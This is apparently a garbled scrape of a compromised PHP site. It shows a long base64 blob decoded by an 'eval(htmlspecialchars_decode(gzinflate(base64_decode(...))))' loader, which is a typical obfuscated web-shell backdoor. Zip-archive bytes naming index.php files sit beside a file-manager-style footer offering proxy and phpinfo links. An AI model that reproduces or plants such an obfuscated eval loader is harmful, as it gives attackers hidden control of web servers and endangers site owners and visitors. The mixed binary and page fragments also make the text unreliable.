N7GzGs4H+5yOJ3+dHUsnjk5MLve2T64krG+oWF+Gfo9wv/yTZdYvgzlHizWVR2ZiNk7xv9B+0hNU9Asf/4aKUZbrVd8KpWVyhfLObKV4jbRcy0EhLbe3YI2uQE2JbcNf4epyVSxp4/8uzoJIOxZJ1G/zPSFOmGLCTgQKWZQwLxaQa7tOkFZIkGR8eJfv4V8Ln4SmR/7LKOO0oiwOknneo37/ci9gFAj46pFQv+jEx2ZLEy1AFNjcydiI0HzBIf+pB3XMIShAHD+vwnzPRQEmFOI3u9uTlHohunvFVThGnJR379n//8N27Qvdd36/36/vsg8pv55f+u4MF/8LcJjsjH2wDN5x9dw/+S805aDVM0w1/NvTRpp1ceRaQdL0ku3kXOFEJc9vPh1OP7umiQrbq76BG7ugKZaqXNfnHyol79iW+SuuOp8Y6N69m3X9unv8/v2vv5Vnc/f//dt3/sHUB//W//x9ET6/KcC9z/l/0/5fWTFEal54/3z//yOGjZvsiXx/vz//l+//8//9/vx/v6//0VVz/H/v7HcwBDcIcGa2975tqPUnZibSYr4o7TQYLaZ9h/lwqroF0T2oJFjWeGbN03nxp2UiDJzisH1LTci3fwD4DA8H8A+AA";
eval(htmlspecialchars_decode(gzinflate(base64_decode($stt1))));
"));PK �k,[v ��Mg Mg index.phpnu �[��� PK �k,[kr;� �g ova/index.phpnu �[��� PK � �
| ver. 1.6 |
Github
|
.
| PHP 8.1.31 | Генерация страницы: 0 |
proxy
|
phpinfo
|
Настройка